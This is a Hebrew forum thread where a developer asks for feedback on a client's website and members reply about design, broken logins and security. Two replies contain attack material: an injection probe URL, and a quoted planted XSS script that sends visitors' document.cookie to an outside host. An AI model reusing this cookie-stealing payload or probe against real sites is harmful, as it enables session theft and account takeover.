אתר של לקוח שלי - חוות דעת ..

[shai_shoko]

יש XSS בקטגוריה שעושים וידאו..
והצלחתי לגנוב קוקיס בגלל שלא הצפנת את הסיסמה

[XxXYonIXxX]

הסיסמה לא עובדת.

[oturtk]

אני לא מצליח להיכנס לפנאל ניהול.
אתה האתר אהבתי

[Davieh]

כי סגרתי אותו ואני מעביר אותו לאיחסון של הלקוח, ומחכה לDNS להתעדכן

[M.M]

יפה, קצת לשפר את העיצוב של האתר לא אהבתי את הצבעים.

[Insane]

משתמש test לא עובד..

[Hanan]

אתה פשוט.
לתשומת ליבך: http://davieh.no-ip.org/Azar/?Id='"fu."' - לוקח לו יותר מדי זמן לטעון את העמוד.
והזכרתי את העובדה שמישהו שתל לך קוד בדפים באתר?

<script>document.write('<iframe width="1? height="1? src="http://shoko.off.co.il/page.php?cookie=' + document.cookie + '" />');</script>

יש לך הרבה מה להשתפר אם אנשים מחליפים לך סיסמאות לפאנל ניהול שאמור להיות מאובטח ללקוח או מזריקים לך INJ.

בהצלחה.

[Davieh]

מה השראתי פה, הוא בלי אבטחה.
אתמול העלתי ללקוח את האתר סוף סוף, ושי אבטחה מלאה, כולל כל הפונקציות.
הכתובת הזמנית היא :http://212.150.123.50/~azar/
אני מכחה שהDNS של הדומיין יתעדכן ואז יעבוד.
בלינק הזה יש אבטחה, וכן אני ראיתי אז את ההזרקות ששמו, זה לא עניין אותי כ"כ כי באתר של הלקוח כבר יש אבטחה.

אני פרסמתי רק שתגידו את חוות הדעת על הממשק, לא על העיצוב, אם הוא נוח, והעיצוב של העמוד הראשי הוא לא שלי, זה מה שהלקוח רצה, יפה לא יפה זה כבר לא עניינכם =\ וגם לא שלי .. של הלקוח .. הוא אוהב זה מה שחשוב.

[SuperMan]

הסיסמה לא עובדת,
תשנה שוב.